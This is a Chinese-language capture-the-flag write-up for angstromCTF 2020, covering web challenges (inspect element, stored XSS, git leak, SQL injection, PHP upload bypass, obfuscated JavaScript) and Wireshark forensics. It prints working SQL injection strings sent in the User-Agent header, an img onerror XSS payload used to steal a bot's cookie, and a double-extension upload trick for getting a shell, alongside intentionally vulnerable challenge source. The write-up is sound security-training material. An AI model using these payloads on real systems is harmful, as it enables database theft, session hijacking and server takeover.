Author:颖奇L’Amore
Blog:www.gem-love.com
比赛地址:https://2020.angstromctf.com/
WEB
The Magic Word
考点:inspect element
打开之后是个单页面,查看元素发现如下代码:
var msg = document.getElementById("magic");
setInterval(function() {
if (magic.innerText == "please give flag") {
fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
.then(res => res.text())
.then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
}
}, 1000);
来到对应magic元素:
<p id="magic">give flag</p>
审查元素,修改为please give flag,得到flag:
flag: actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}
Xmas Still Stands
考点:XSS
一个博客系统,可以发布文章,但是<script>
永远在<p>
标签内无法执行,但是构造闭合后<img>
可行,所以可以onerror事件触发JavaScript实现存储型XSS,payload:
aaaaaa<img src=x onerror=your js here>
发表成功后提交给bot打到cookie
然后手工设置cookie,即可得到flag
flag:actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}
Git Good
考点:Git泄露、commit
题目描述:
Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed
a very work in progress challenge
so I thought it was worth sharing.
由于是和git相关,首先考虑Git泄露,访问.git发现不存在:
然后用dirb跑一下,发现这个目录是存在的….
上githack,得到源码,在thisistheflag.txt文件中得知:
There used to be a flag here...
所以考虑需要去commit中寻找历史版本,但是找了半天也没找到Repo地址,于是直接上GitExtract一把梭
flag:actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
Secret Agents
考点:flask代码审计、UA注入
给了flask源码:
from flask import Flask, render_template, request
from .secret import host, user, passwd, dbname
import mysql.connector
dbconfig = {
"host":host,
"user":user,
"passwd":passwd,
"database":dbname
}
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login")
def login():
u = request.headers.get("User-Agent")
conn = mysql.connector.connect(pool_name="poolofagents",
pool_size=16,
**dbconfig)
cursor = conn.cursor()
for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
if r.with_rows:
res = r.fetchall()
conn.close()
break
if len(res) == 0:
return render_template("login.html", msg="stop! you're not allowed in here >:)")
if len(res) > 1:
return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")
return render_template("login.html", msg="Welcome, %s"%(res[0][0]))
if __name__ == '__main__':
app.run('0.0.0.0')
很明显可以的UA头注入,先测试一下发现返回两列结果,输出第一列
表名:
User-Agent: 1' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
<p>Welcome, Agents</p>
字段名:
User-Agent: 1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database()#
<p>Welcome, Name,UA</p>
字段值:
User-Agent: 1' and 1=2 union select group_concat(Name),2 from Agents#
<p>Welcome, GRU,vector but elon musk's brother,actf{nyoom_1_4m_sp33d},wile e. coyote,PLANKTON,mort,shaggy, destroyer of worlds,matt, lord of fitness,admin</p>
flag:actf{nyoom_1_4m_sp33d}
Defund’s Crypt
src.php得到源码:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<link href="https://fonts.googleapis.com/css?family=Inconsolata|Special+Elite&display=swap" rel="stylesheet">
<link rel="stylesheet" href="/style.css">
<title>Defund's Crypt</title>
</head>
<body>
<!-- Defund was a big fan of open source so head over to /src.php -->
<!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->
<h1>Defund's Crypt<span class="small">o</span></h1>
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
// I just copy pasted this from the PHP site then modified it a bit
// I'm not gonna put myself through the hell of learning PHP to write one lousy angstrom chall
try {
if (
!isset($_FILES['imgfile']['error']) ||
is_array($_FILES['imgfile']['error'])
) {
throw new RuntimeException('The crypt rejects you.');
}
switch ($_FILES['imgfile']['error']) {
case UPLOAD_ERR_OK:
break;
case UPLOAD_ERR_NO_FILE:
throw new RuntimeException('You must leave behind a memory lest you be forgotten forever.');
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
throw new RuntimeException('People can only remember so much.');
default:
throw new RuntimeException('The crypt rejects you.');
}
if ($_FILES['imgfile']['size'] > 1000000) {
throw new RuntimeException('People can only remember so much..');
}
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (false === $ext = array_search(
$finfo->file($_FILES['imgfile']['tmp_name']),
array(
'.jpg' => 'image/jpeg',
'.png' => 'image/png',
'.bmp' => 'image/bmp',
),
true
)) {
throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
}
if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
throw new RuntimeException("The name of your memory doesn't seem to match its content.");
}
$bname = basename($_FILES["imgfile"]["name"]);
$fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
if (!move_uploaded_file(
$_FILES['imgfile']['tmp_name'],
"./memories/" . $fname
)) {
throw new RuntimeException('Your memory failed to be remembered.');
}
http_response_code(301);
header("Location: /memories/" . $fname);
} catch (RuntimeException $e) {
echo "<p>" . $e->getMessage() . "</p>";
}
}
?>
<img src="crypt.jpg" height="300"/>
<form method="POST" action="/" autocomplete="off" spellcheck="false" enctype="multipart/form-data">
<p>Leave a memory:</p>
<input type="file" id="imgfile" name="imgfile">
<label for="imgfile" id="imglbl">Choose an image...</label>
<input type="submit" value="Descend">
</form>
<script>
imgfile.oninput = _ => {
imgfile.classList.add("satisfied");
imglbl.innerText = imgfile.files[0].name;
};
</script>
</body>
</html>
可以看到,判断后缀名使用了不安全的数组搜索操作:
false === $ext = array_search(
$finfo->file($_FILES['imgfile']['tmp_name']),
array(
'.jpg' => 'image/jpeg',
'.png' => 'image/png',
'.bmp' => 'image/bmp',
),
true
)
上传后保存文件名时,直接后面拼接上了原文件名的点后面的内容:
$fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
if (!move_uploaded_file(
$_FILES['imgfile']['tmp_name'],
"./memories/" . $fname
)) {
throw new RuntimeException('Your memory failed to be remembered.');
}
所以只要上传aaa.jpg.php即可getshell:
在根目录得到flag
flag:actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}
Consolation
题目只引用了一个js,扫目录、header、cookie等都没有flag,但是js实在是太难懂了。
在点击按钮的时候调用了nofret()
,跟进:
function nofret() {
document[_0x4229('0x95', 'kY1#')](_0x4229('0x9', 'kY1#'))[_0x4229('0x32', 'yblQ')] = parseInt(document[_0x4229('0x5e', 'xtR2')](_0x4229('0x2d', 'uCq1'))['innerHTML']) + 0x19;
console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*'));
console['clear']();
}
每次执行后都会把console给clear掉了。把源码down到本地,那clear换成个console.log()
之类的东西,然后调用这个函数,控制台就会输出flag了
A Peculiar Query
单写了篇文章,链接:https://www.gem-love.com/websecurity/2070.html
Misc
Sanity Check
先进Discord的频道,在#role处点击一条消息的
在#general得到flag
flag:actf{never_gonna_let_you_down}
ws1
不用看都是什么流量,直接用wireshark的搜索,在packet detail中搜索string,直接得到flag
flag:actf{wireshark_isn’t_so_bad_huh-a9d8g99ikdf}
ws2
依然是流量题,但是搜索不到flag,查看一下发现是上传,所以可以直接用wireshark的export把上传的东西导出来
导出图片之后无法打开,用HexFiend发现前面填充了一些数据
删掉之后,图片成功打开,得到flag
flag:actf{ok_to_b0r0s-4809813}
ws3
先导出http文件
但是无法直接打开,所以用binwalk分离一下,分出来一张图片,打开得到flag
flag:actf{git_good_git_wireshark-123323}
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/1974.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示